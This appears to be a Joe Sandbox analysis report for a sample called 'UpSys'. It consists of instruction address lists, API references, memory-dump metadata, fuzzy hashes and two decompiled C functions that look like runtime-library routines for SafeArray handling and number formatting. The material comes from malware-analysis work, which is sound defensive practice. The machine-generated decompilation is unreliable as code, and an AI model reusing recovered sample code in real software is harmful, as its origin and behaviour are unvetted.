                                                                                                                                                                                                        0x140026a88
                                                                                                                                                                                                        0x140026a91
                                                                                                                                                                                                        0x140026a96
                                                                                                                                                                                                        0x140026a9d
                                                                                                                                                                                                        0x140026aa5
                                                                                                                                                                                                        0x140026aab
                                                                                                                                                                                                        0x140026ac7
                                                                                                                                                                                                        0x140026ac9
                                                                                                                                                                                                        0x140026ace
                                                                                                                                                                                                        0x140026ad1
                                                                                                                                                                                                        0x140026ad8
                                                                                                                                                                                                        0x140026add
                                                                                                                                                                                                        0x140026ae3
                                                                                                                                                                                                        0x140026ae5
                                                                                                                                                                                                        0x140026aeb
                                                                                                                                                                                                        0x140026af6
                                                                                                                                                                                                        0x140026af9
                                                                                                                                                                                                        0x140026b00
                                                                                                                                                                                                        0x140026b0a
                                                                                                                                                                                                        0x140026b0d
                                                                                                                                                                                                        0x140026b11
                                                                                                                                                                                                        0x140026b19
                                                                                                                                                                                                        0x140026b1e
                                                                                                                                                                                                        0x140026b27
                                                                                                                                                                                                        0x140026b29
                                                                                                                                                                                                        0x140026b2f
                                                                                                                                                                                                        0x140026b37
                                                                                                                                                                                                        0x140026b3f
                                                                                                                                                                                                        0x140026b42
                                                                                                                                                                                                        0x140026b4a
                                                                                                                                                                                                        0x140026b4e
                                                                                                                                                                                                        0x140026b53
                                                                                                                                                                                                        0x140026b55
                                                                                                                                                                                                        0x140026b5c
                                                                                                                                                                                                        0x140026b61
                                                                                                                                                                                                        0x140026b63
                                                                                                                                                                                                        0x140026b69
                                                                                                                                                                                                        0x140026b6e
                                                                                                                                                                                                        0x140026b76
                                                                                                                                                                                                        0x140026b79
                                                                                                                                                                                                        0x140026b81
                                                                                                                                                                                                        0x140026b85
                                                                                                                                                                                                        0x140026b8a
                                                                                                                                                                                                        0x140026b8c
                                                                                                                                                                                                        0x140026b93
                                                                                                                                                                                                        0x140026b98
                                                                                                                                                                                                        0x140026b9a
                                                                                                                                                                                                        0x140026b9d
                                                                                                                                                                                                        0x140026ba5
                                                                                                                                                                                                        0x140026ba8
                                                                                                                                                                                                        0x140026bb2
                                                                                                                                                                                                        0x140026bcc
                                                                                                                                                                                                        0x140026bce
                                                                                                                                                                                                        0x140026bd3
                                                                                                                                                                                                        0x140026bd6
                                                                                                                                                                                                        0x140026bdd
                                                                                                                                                                                                        0x140026be2
                                                                                                                                                                                                        0x140026be4
                                                                                                                                                                                                        0x140026be9
                                                                                                                                                                                                        0x140026bf3
                                                                                                                                                                                                        0x140026bf8
                                                                                                                                                                                                        0x140026c01
                                                                                                                                                                                                        0x140026c06
                                                                                                                                                                                                        0x140026c08
                                                                                                                                                                                                        0x140026c0d
                                                                                                                                                                                                        0x140026c21

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _lock.LIBCMT ref: 00000001400267AF
                                                                                                                                                                                                        • free.LIBCMT ref: 00000001400268A6
                                                                                                                                                                                                          • Part of subcall function 0000000140017EC8: RtlReleasePrivilege.NTDLL(?,?,?,0000000140031705), ref: 0000000140017EDE
                                                                                                                                                                                                          • Part of subcall function 0000000140017EC8: _errno.LIBCMT ref: 0000000140017EE8
                                                                                                                                                                                                          • Part of subcall function 0000000140017EC8: GetLastError.KERNEL32(?,?,?,0000000140031705), ref: 0000000140017EF0
                                                                                                                                                                                                        • ___lc_codepage_func.LIBCMT ref: 000000014002682F
                                                                                                                                                                                                          • Part of subcall function 000000014001E8EC: RtlCaptureContext.KERNEL32 ref: 000000014001E92B
                                                                                                                                                                                                          • Part of subcall function 000000014001E8EC: IsDebuggerPresent.KERNEL32 ref: 000000014001E9C9
                                                                                                                                                                                                          • Part of subcall function 000000014001E8EC: SetUnhandledExceptionFilter.KERNEL32 ref: 000000014001E9D3
                                                                                                                                                                                                          • Part of subcall function 000000014001E8EC: UnhandledExceptionFilter.KERNEL32 ref: 000000014001E9DE
                                                                                                                                                                                                          • Part of subcall function 000000014001E8EC: GetCurrentProcess.KERNEL32 ref: 000000014001E9F4
                                                                                                                                                                                                          • Part of subcall function 000000014001E8EC: TerminateProcess.KERNEL32 ref: 000000014001EA02
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerErrorLastPresentPrivilegeReleaseTerminate___lc_codepage_func_lockfree
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3944708995-0
                                                                                                                                                                                                        • Opcode ID: a70f8f82face6635e9082765cf5c039fe7bc8ce6814e86140c6cc40cdfd628db
                                                                                                                                                                                                        • Instruction ID: e99551e45c71d6a6d79e873b53777f1a95e90e4be1f66e3b22fda5f47b5ad0c1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a70f8f82face6635e9082765cf5c039fe7bc8ce6814e86140c6cc40cdfd628db
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E1D1A13260468085EB669F37E4917EA7BA5F38DBC0F444119FB89677B6CB38CD918B01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140079BF0 Relevance: 10.8, APIs: 7, Instructions: 280COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 43%
                                                                                                                                                                                                        			E00000001140079BF0(void* __ecx, intOrPtr* __rcx, signed int* __rdx, void* __r9, signed int _a16, char _a24, long long _a32) {
				long long _v80;
				signed short _v88;
				intOrPtr _v96;
				long long _v104;
				void* __rbx;
				void* __rsi;
				signed int _t93;
				signed int _t94;
				void* _t95;
				signed short _t97;
				signed short _t98;
				void* _t100;
				void* _t102;
				void* _t105;
				void* _t108;
				signed int _t113;
				void* _t142;
				void* _t143;
				void* _t153;
				signed int* _t173;
				signed int* _t176;
				signed int* _t180;
				signed int* _t183;
				char* _t188;
				intOrPtr _t190;
				void* _t235;
				signed long long _t236;
				signed long long _t237;
				intOrPtr* _t239;
				signed long long _t240;
				signed long long _t241;
				signed long long _t254;
				signed long long _t255;

				_t248 = __r9;
				_t239 = __rcx;
				if (( *__rdx & 0x00002000) != 0) goto 0x40079c13;
				goto 0x4007a004;
				r15d = 0x4000;
				if (( *__rdx & r15w) == 0) goto 0x40079c28;
				goto 0x40079c2c;
				_t188 = __rdx[2];
				if (_t188 == 0) goto 0x40079c0c;
				E00000001140012C90(__rdx[2], _t188, __rcx);
				_t173 =  *__rcx;
				r11d =  *_t188;
				r9d = 0;
				_t173[0x86] = r11d;
				_t190 =  *__rcx;
				_t10 = _t248 + 1; // 0x1
				r14d = _t10;
				if ( *((intOrPtr*)(_t190 + 0x218)) - r9d <= 0) goto 0x40079c80;
				r9d = r9d + r14d;
				 *((intOrPtr*)(__rdx + _t190)) =  *((intOrPtr*)(_t188 + 0x18));
				if (r9d -  *((intOrPtr*)( *__rcx + 0x218)) < 0) goto 0x40079c64;
				E00000001140012B40(0, __rcx,  &(__rdx[1]), __rcx, _t188 + 0x18 + _t235, __r9);
				_t113 =  *((intOrPtr*)(_t188 + 2));
				_t240 =  *((intOrPtr*)( *__rcx + 0x10));
				_t93 = _t113 & 0x00000f00;
				_t254 = _t240;
				if (_t93 == 0x100) goto 0x40079f83;
				if (_t93 == 0x200) goto 0x40079d92;
				if (_t93 == 0x400) goto 0x40079ef7;
				if (_t93 == 0x800) goto 0x40079e5e;
				if (_t113 >= 0) goto 0x40079d92;
				__imp__#77();
				_t94 = _a16 & 0x0000ffff;
				_t142 = _t94 - 0x10;
				if (_t142 > 0) goto 0x40079d68;
				if (_t142 == 0) goto 0x40079d63;
				_t143 = _t94 - 2;
				if (_t143 == 0) goto 0x40079d1a;
				if (_t143 <= 0) goto 0x40079d87;
				if (_t94 - 4 <= 0) goto 0x40079d9f;
				if (_t94 - 7 <= 0) goto 0x40079d1f;
				if (_t94 == 0xa) goto 0x40079d9f;
				if (_t94 != 0xb) goto 0x40079d87;
				__imp__#23();
				if (_t94 < 0) goto 0x4007a001;
				if (_t254 <= 0) goto 0x40079ff8;
				_t95 = E00000001140016ED8(_t173, _t188);
				if (_t173 == 0) goto 0x40079da9;
				 *_t173 =  *_t173 & 0x00000000;
				_t173[4] = _t173[4] & 0x00000000;
				_t173[2] = r14d;
				goto 0x40079dac;
				_t236 = _t255;
				goto 0x40079d1f;
				if (_t95 == 0x11) goto 0x40079e23;
				if (_t95 == 0x12) goto 0x40079d1a;
				_t153 = _t95 - 0x13;
				if (_t153 == 0) goto 0x40079d9f;
				if (_t153 <= 0) goto 0x40079d87;
				if (_t95 - 0x15 <= 0) goto 0x40079d1f;
				if (_t95 - 0x17 <= 0) goto 0x40079d9f;
				if ((_a16 & r15w) != 0) goto 0x40079d1f;
				E00000001140007A40(_t188, _t239, _t239);
				goto 0x40079c0c;
				goto 0x40079d1f;
				r11d = 0;
				 *( *((intOrPtr*)( *_t239)) + _t240 * 8) = _t173;
				_t97 = _a16 & 0x0000ffff;
				if ((r15w & _t97) == 0) goto 0x40079de0;
				_v88 = _t97;
				_t98 = E00000001140016710(0x18, r15w & _t97,  &_v80, _a24, _t236);
				goto 0x40079df6;
				_v88 = _t98 | r15w;
				_v80 = _a24;
				_t176 =  *_t239;
				_t100 = E0000000114007A020(0x18, 0, _t176, _t188,  *((intOrPtr*)( *_t176 + _t240 * 8)),  &_v88, _t239, _t236, _t248);
				_a24 = _a24 + _t236;
				_t241 = _t240 + _t255;
				if (_t241 - _t254 < 0) goto 0x40079d43;
				goto 0x40079ff8;
				__imp__#23();
				if (_t100 < 0) goto 0x40079d92;
				E00000001140061F10(0, _t176, _t188, _t239,  &_a24, _t239);
				_t102 = E00000001140016710(0x18, _t100, _t176, _a24, _t241);
				goto 0x40079ff8;
				__imp__#23();
				if (_t102 < 0) goto 0x4007a001;
				if (_t254 <= 0) goto 0x40079ff8;
				E00000001140016ED8(_t176, _t188);
				if (_t176 == 0) goto 0x40079ea4;
				 *_t176 =  *_t176 & 0x00000000;
				_t176[4] = _t176[4] & 0x00000000;
				_t176[2] = r14d;
				goto 0x40079ea7;
				r11d = 0;
				 *( *((intOrPtr*)( *_t239)) + _t236 * 8) = _t176;
				_v88 = 0x400c;
				_t180 =  *_t239;
				_v80 = _a32;
				_t105 = E0000000114007A020(0x18, 0, _t180, _t188,  *((intOrPtr*)( *_t180 + _t236 * 8)),  &_v88, _t239, _t241, _t248);
				_t237 = _t236 + _t255;
				if (_t237 - _t254 < 0) goto 0x40079e84;
				goto 0x40079ff8;
				__imp__#23();
				if (_t105 < 0) goto 0x4007a001;
				if (_t254 <= 0) goto 0x40079ff8;
				E00000001140016ED8(_t180, _t188);
				if (_t180 == 0) goto 0x40079f3a;
				 *_t180 =  *_t180 & 0x00000000;
				_t180[4] = _t180[4] & 0x00000000;
				_t180[2] = r14d;
				goto 0x40079f3d;
				r11d = 0;
				 *( *((intOrPtr*)( *_t239)) + _t237 * 8) = _t180;
				_v88 = 9;
				_t183 =  *_t239;
				_v80 = _v104;
				_t108 = E0000000114007A020(0x18, 0, _t183, _t188,  *((intOrPtr*)( *_t183 + _t237 * 8)),  &_v88, _t239, _t241, _t248);
				if (_t237 + _t255 - _t254 < 0) goto 0x40079f1a;
				goto 0x40079ff8;
				__imp__#23();
				if (_t108 < 0) goto 0x4007a001;
				if (_t254 <= 0) goto 0x40079ff8;
				E00000001140016ED8(_t183, _t188);
				if (_t183 == 0) goto 0x40079fbc;
				 *_t183 =  *_t183 & 0x00000000;
				_t183[4] = _t183[4] & 0x00000000;
				_t183[2] = r14d;
				goto 0x40079fbf;
				r11d = 0;
				 *( *((intOrPtr*)( *_t239)) + _t241 * 8) = _t183;
				_v88 = 0;
				_v80 =  *((intOrPtr*)(_v96 + _t241 * 8));
				E0000000114007A020(0x18, 0,  *_t239, _t188,  *( *((intOrPtr*)( *_t239)) + _t241 * 8),  &_v88, _t239, _t241, _t248);
				if (_t241 + _t255 - _t254 < 0) goto 0x40079f9c;
				__imp__#24();
				return r14b;
			}




































                                                                                                                                                                                                        0x140079bf0
                                                                                                                                                                                                        0x140079c04
                                                                                                                                                                                                        0x140079c0a
                                                                                                                                                                                                        0x140079c0e
                                                                                                                                                                                                        0x140079c13
                                                                                                                                                                                                        0x140079c1d
                                                                                                                                                                                                        0x140079c26
                                                                                                                                                                                                        0x140079c28
                                                                                                                                                                                                        0x140079c2f
                                                                                                                                                                                                        0x140079c31
                                                                                                                                                                                                        0x140079c36
                                                                                                                                                                                                        0x140079c39
                                                                                                                                                                                                        0x140079c3d
                                                                                                                                                                                                        0x140079c40
                                                                                                                                                                                                        0x140079c47
                                                                                                                                                                                                        0x140079c55
                                                                                                                                                                                                        0x140079c55
                                                                                                                                                                                                        0x140079c59
                                                                                                                                                                                                        0x140079c67
                                                                                                                                                                                                        0x140079c6d
                                                                                                                                                                                                        0x140079c7e
                                                                                                                                                                                                        0x140079c85
                                                                                                                                                                                                        0x140079c8d
                                                                                                                                                                                                        0x140079c91
                                                                                                                                                                                                        0x140079c97
                                                                                                                                                                                                        0x140079c9c
                                                                                                                                                                                                        0x140079ca4
                                                                                                                                                                                                        0x140079caf
                                                                                                                                                                                                        0x140079cba
                                                                                                                                                                                                        0x140079cc5
                                                                                                                                                                                                        0x140079ccd
                                                                                                                                                                                                        0x140079cde
                                                                                                                                                                                                        0x140079ce4
                                                                                                                                                                                                        0x140079cec
                                                                                                                                                                                                        0x140079cef
                                                                                                                                                                                                        0x140079cf1
                                                                                                                                                                                                        0x140079cf3
                                                                                                                                                                                                        0x140079cf6
                                                                                                                                                                                                        0x140079cf8
                                                                                                                                                                                                        0x140079d01
                                                                                                                                                                                                        0x140079d0a
                                                                                                                                                                                                        0x140079d0f
                                                                                                                                                                                                        0x140079d18
                                                                                                                                                                                                        0x140079d2a
                                                                                                                                                                                                        0x140079d32
                                                                                                                                                                                                        0x140079d3d
                                                                                                                                                                                                        0x140079d48
                                                                                                                                                                                                        0x140079d53
                                                                                                                                                                                                        0x140079d55
                                                                                                                                                                                                        0x140079d58
                                                                                                                                                                                                        0x140079d5d
                                                                                                                                                                                                        0x140079d61
                                                                                                                                                                                                        0x140079d63
                                                                                                                                                                                                        0x140079d66
                                                                                                                                                                                                        0x140079d6b
                                                                                                                                                                                                        0x140079d74
                                                                                                                                                                                                        0x140079d76
                                                                                                                                                                                                        0x140079d79
                                                                                                                                                                                                        0x140079d7b
                                                                                                                                                                                                        0x140079d80
                                                                                                                                                                                                        0x140079d85
                                                                                                                                                                                                        0x140079d90
                                                                                                                                                                                                        0x140079d95
                                                                                                                                                                                                        0x140079d9a
                                                                                                                                                                                                        0x140079da4
                                                                                                                                                                                                        0x140079da9
                                                                                                                                                                                                        0x140079db2
                                                                                                                                                                                                        0x140079db6
                                                                                                                                                                                                        0x140079dc2
                                                                                                                                                                                                        0x140079dd4
                                                                                                                                                                                                        0x140079dd9
                                                                                                                                                                                                        0x140079dde
                                                                                                                                                                                                        0x140079de4
                                                                                                                                                                                                        0x140079df1
                                                                                                                                                                                                        0x140079df6
                                                                                                                                                                                                        0x140079e05
                                                                                                                                                                                                        0x140079e0a
                                                                                                                                                                                                        0x140079e12
                                                                                                                                                                                                        0x140079e18
                                                                                                                                                                                                        0x140079e1e
                                                                                                                                                                                                        0x140079e2e
                                                                                                                                                                                                        0x140079e36
                                                                                                                                                                                                        0x140079e41
                                                                                                                                                                                                        0x140079e54
                                                                                                                                                                                                        0x140079e59
                                                                                                                                                                                                        0x140079e69
                                                                                                                                                                                                        0x140079e71
                                                                                                                                                                                                        0x140079e7e
                                                                                                                                                                                                        0x140079e89
                                                                                                                                                                                                        0x140079e94
                                                                                                                                                                                                        0x140079e96
                                                                                                                                                                                                        0x140079e99
                                                                                                                                                                                                        0x140079e9e
                                                                                                                                                                                                        0x140079ea2
                                                                                                                                                                                                        0x140079ea4
                                                                                                                                                                                                        0x140079eb7
                                                                                                                                                                                                        0x140079ebb
                                                                                                                                                                                                        0x140079ed3
                                                                                                                                                                                                        0x140079ed6
                                                                                                                                                                                                        0x140079ee2
                                                                                                                                                                                                        0x140079ee7
                                                                                                                                                                                                        0x140079ef0
                                                                                                                                                                                                        0x140079ef2
                                                                                                                                                                                                        0x140079eff
                                                                                                                                                                                                        0x140079f07
                                                                                                                                                                                                        0x140079f14
                                                                                                                                                                                                        0x140079f1f
                                                                                                                                                                                                        0x140079f2a
                                                                                                                                                                                                        0x140079f2c
                                                                                                                                                                                                        0x140079f2f
                                                                                                                                                                                                        0x140079f34
                                                                                                                                                                                                        0x140079f38
                                                                                                                                                                                                        0x140079f3a
                                                                                                                                                                                                        0x140079f4d
                                                                                                                                                                                                        0x140079f51
                                                                                                                                                                                                        0x140079f62
                                                                                                                                                                                                        0x140079f65
                                                                                                                                                                                                        0x140079f71
                                                                                                                                                                                                        0x140079f7f
                                                                                                                                                                                                        0x140079f81
                                                                                                                                                                                                        0x140079f8b
                                                                                                                                                                                                        0x140079f93
                                                                                                                                                                                                        0x140079f9a
                                                                                                                                                                                                        0x140079fa1
                                                                                                                                                                                                        0x140079fac
                                                                                                                                                                                                        0x140079fae
                                                                                                                                                                                                        0x140079fb1
                                                                                                                                                                                                        0x140079fb6
                                                                                                                                                                                                        0x140079fba
                                                                                                                                                                                                        0x140079fbc
                                                                                                                                                                                                        0x140079fca
                                                                                                                                                                                                        0x140079fd3
                                                                                                                                                                                                        0x140079fdf
                                                                                                                                                                                                        0x140079feb
                                                                                                                                                                                                        0x140079ff6
                                                                                                                                                                                                        0x140079ffb
                                                                                                                                                                                                        0x14007a012

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ArraySafe$AccessDataVartype
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2857666278-0
                                                                                                                                                                                                        • Opcode ID: 289400c31152126e43f88d83910e238e2a2503187b13ccb8b5c74147de91a626
                                                                                                                                                                                                        • Instruction ID: e33a5507c1624d575020761d847ae5cc8e4f983c0d186e8d1561c8d7f1bc7899
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 289400c31152126e43f88d83910e238e2a2503187b13ccb8b5c74147de91a626
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5CC18976210B8485EB629F1AE4847EE63A1F789BC4F558426FB4A973B5DF3DC881C340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002B92C Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 171COMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 85%
                                                                                                                                                                                                        			E0000000114002B92C(void* __eflags, long long __rbx, char* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9) {
				void* _t68;
				void* _t70;
				signed int _t99;
				signed int _t103;
				void* _t122;
				intOrPtr* _t129;
				intOrPtr _t130;
				signed long long _t136;
				char* _t138;
				char* _t154;
				char* _t155;
				char* _t160;
				long long _t167;
				intOrPtr* _t168;
				intOrPtr* _t170;
				void* _t171;
				void* _t179;
				long long _t181;
				void* _t183;

				_t173 = __r8;
				_t163 = __rsi;
				_t129 = _t170;
				 *((long long*)(_t129 + 8)) = __rbx;
				 *((long long*)(_t129 + 0x10)) = _t167;
				 *((long long*)(_t129 + 0x18)) = __rsi;
				 *((long long*)(_t129 + 0x20)) = __rdi;
				_t171 = _t170 - 0x50;
				_t179 = __rdx;
				_t160 = __rcx;
				r15d = r9d;
				_t136 = r8d;
				E00000001140016BCC(_t129, _t129 - 0x38,  *((intOrPtr*)(_t171 + 0xa0)));
				r13d = 0;
				if (__rcx != _t181) goto 0x4002b9a7;
				E0000000114001EAE4(__rcx - _t181, _t129);
				_t7 = _t181 + 0x16; // 0x16
				r9d = 0;
				r8d = 0;
				 *_t129 = _t7;
				 *((long long*)(_t171 + 0x20)) = _t181;
				E0000000114001EA14(_t129, _t136, _t129 - 0x38,  *((intOrPtr*)(_t171 + 0xa0)), __rsi, _t167, __r8, _t183, _t181);
				if ( *((intOrPtr*)(_t171 + 0x48)) == r13b) goto 0x4002b9a0;
				 *( *((intOrPtr*)(_t171 + 0x40)) + 0xc8) =  *( *((intOrPtr*)(_t171 + 0x40)) + 0xc8) & 0xfffffffd;
				goto 0x4002bb64;
				if (_t179 - _t181 > 0) goto 0x4002b9e1;
				E0000000114001EAE4(_t179 - _t181, _t129);
				r9d = 0;
				r8d = 0;
				 *_t129 = 0x16;
				 *((long long*)(_t171 + 0x20)) = _t181;
				E0000000114001EA14(_t129, _t136,  *((intOrPtr*)(_t171 + 0x40)),  *((intOrPtr*)(_t171 + 0xa0)), _t163, _t167, _t173);
				if ( *((intOrPtr*)(_t171 + 0x48)) == r13b) goto 0x4002b9a0;
				_t130 =  *((intOrPtr*)(_t171 + 0x40));
				 *(_t130 + 0xc8) =  *(_t130 + 0xc8) & 0xfffffffd;
				goto 0x4002b9a0;
				_t67 =  >  ? 0x16 : r13d;
				_t68 = ( >  ? 0x16 : r13d) + 9;
				if (_t179 - _t130 > 0) goto 0x4002ba03;
				_t70 = E0000000114001EAE4(_t179 - _t130, _t130);
				goto 0x4002b977;
				_t168 =  *((intOrPtr*)(_t171 + 0x90));
				if ( *((intOrPtr*)(_t171 + 0x98)) == r13b) goto 0x4002ba4b;
				sil =  *_t168 == 0x2d;
				r13b = 0x22 > 0;
				if (r13d == 0) goto 0x4002ba48;
				E00000001140017C00(_t70, _t181 + _t160);
				_t20 = _t130 + 1; // 0x1
				E00000001140016710(0, r13d, r13d + _t181 + _t160, _t181 + _t160, _t20);
				r13d = 0;
				if ( *_t168 != 0x2d) goto 0x4002ba5b;
				 *_t160 = 0x2d;
				_t154 = _t160 + 1;
				if (0x22 - r13d <= 0) goto 0x4002ba7b;
				 *_t154 =  *((intOrPtr*)(_t154 + 1));
				_t155 = _t154 + 1;
				 *_t155 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t171 + 0x30)) + 0x128))))));
				_t138 = _t136 + _t155 + _t181;
				_t157 =  ==  ? _t179 : _t179 + _t160 - _t138;
				if (E00000001140029FA0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t171 + 0x30)) + 0x128)))), _t138,  ==  ? _t179 : _t179 + _t160 - _t138, _t181 + _t160, _t168, "e+000") == r13d) goto 0x4002bac6;
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t171 + 0x20)) = _t181;
				E0000000114001E8EC(0,  ==  ? _t179 : _t179 + _t160 - _t138, "e+000");
				if (r15d == r13d) goto 0x4002bad2;
				 *_t138 = 0x45;
				_t122 =  *((char*)( *((intOrPtr*)(_t168 + 0x10)))) - 0x30;
				if (_t122 == 0) goto 0x4002bb32;
				r8d =  *(_t168 + 4);
				r8d = r8d - 1;
				if (_t122 >= 0) goto 0x4002baec;
				r8d =  ~r8d;
				 *((char*)(_t138 + 1)) = 0x2d;
				if (r8d - 0x64 < 0) goto 0x4002bb0d;
				_t99 = (0x51eb851f * r8d >> 0x20 >> 5) + (0x51eb851f * r8d >> 0x20 >> 5 >> 0x1f);
				 *((intOrPtr*)(_t138 + 2)) =  *((intOrPtr*)(_t138 + 2)) + _t99;
				r8d = r8d + _t99 * 0xffffff9c;
				if (r8d - 0xa < 0) goto 0x4002bb2e;
				_t103 = (0x66666667 * r8d >> 0x20 >> 2) + (0x66666667 * r8d >> 0x20 >> 2 >> 0x1f);
				 *((intOrPtr*)(_t138 + 3)) =  *((intOrPtr*)(_t138 + 3)) + _t103;
				r8d = r8d + _t103 * 0xfffffff6;
				 *((intOrPtr*)(_t138 + 4)) =  *((intOrPtr*)(_t138 + 4)) + r8b;
				if (( *0x400b547c & 0x00000001) == 0) goto 0x4002bb4f;
				if ( *((char*)(_t138 + 2)) != 0x30) goto 0x4002bb4f;
				r8d = 3;
				E00000001140016710(0,  *((char*)(_t138 + 2)) - 0x30, _t138 + 2, _t138 + 3, "e+000");
				if ( *((intOrPtr*)(_t171 + 0x48)) == r13b) goto 0x4002bb62;
				 *( *((intOrPtr*)(_t171 + 0x40)) + 0xc8) =  *( *((intOrPtr*)(_t171 + 0x40)) + 0xc8) & 0xfffffffd;
				return 0;
			}






















                                                                                                                                                                                                        0x14002b92c
                                                                                                                                                                                                        0x14002b92c
                                                                                                                                                                                                        0x14002b92c
                                                                                                                                                                                                        0x14002b92f
                                                                                                                                                                                                        0x14002b933
                                                                                                                                                                                                        0x14002b937
                                                                                                                                                                                                        0x14002b93b
                                                                                                                                                                                                        0x14002b945
                                                                                                                                                                                                        0x14002b949
                                                                                                                                                                                                        0x14002b954
                                                                                                                                                                                                        0x14002b95b
                                                                                                                                                                                                        0x14002b95e
                                                                                                                                                                                                        0x14002b961
                                                                                                                                                                                                        0x14002b966
                                                                                                                                                                                                        0x14002b96c
                                                                                                                                                                                                        0x14002b96e
                                                                                                                                                                                                        0x14002b973
                                                                                                                                                                                                        0x14002b977
                                                                                                                                                                                                        0x14002b97a
                                                                                                                                                                                                        0x14002b981
                                                                                                                                                                                                        0x14002b983
                                                                                                                                                                                                        0x14002b988
                                                                                                                                                                                                        0x14002b992
                                                                                                                                                                                                        0x14002b999
                                                                                                                                                                                                        0x14002b9a2
                                                                                                                                                                                                        0x14002b9aa
                                                                                                                                                                                                        0x14002b9ac
                                                                                                                                                                                                        0x14002b9b6
                                                                                                                                                                                                        0x14002b9b9
                                                                                                                                                                                                        0x14002b9c0
                                                                                                                                                                                                        0x14002b9c2
                                                                                                                                                                                                        0x14002b9c7
                                                                                                                                                                                                        0x14002b9d1
                                                                                                                                                                                                        0x14002b9d3
                                                                                                                                                                                                        0x14002b9d8
                                                                                                                                                                                                        0x14002b9df
                                                                                                                                                                                                        0x14002b9e7
                                                                                                                                                                                                        0x14002b9ea
                                                                                                                                                                                                        0x14002b9f2
                                                                                                                                                                                                        0x14002b9f4
                                                                                                                                                                                                        0x14002b9fe
                                                                                                                                                                                                        0x14002ba03
                                                                                                                                                                                                        0x14002ba13
                                                                                                                                                                                                        0x14002ba1c
                                                                                                                                                                                                        0x14002ba25
                                                                                                                                                                                                        0x14002ba2c
                                                                                                                                                                                                        0x14002ba31
                                                                                                                                                                                                        0x14002ba3c
                                                                                                                                                                                                        0x14002ba43
                                                                                                                                                                                                        0x14002ba48
                                                                                                                                                                                                        0x14002ba52
                                                                                                                                                                                                        0x14002ba54
                                                                                                                                                                                                        0x14002ba57
                                                                                                                                                                                                        0x14002ba5e
                                                                                                                                                                                                        0x14002ba63
                                                                                                                                                                                                        0x14002ba6a
                                                                                                                                                                                                        0x14002ba79
                                                                                                                                                                                                        0x14002ba93
                                                                                                                                                                                                        0x14002baa4
                                                                                                                                                                                                        0x14002bab0
                                                                                                                                                                                                        0x14002bab2
                                                                                                                                                                                                        0x14002bab5
                                                                                                                                                                                                        0x14002babc
                                                                                                                                                                                                        0x14002bac1
                                                                                                                                                                                                        0x14002bacd
                                                                                                                                                                                                        0x14002bacf
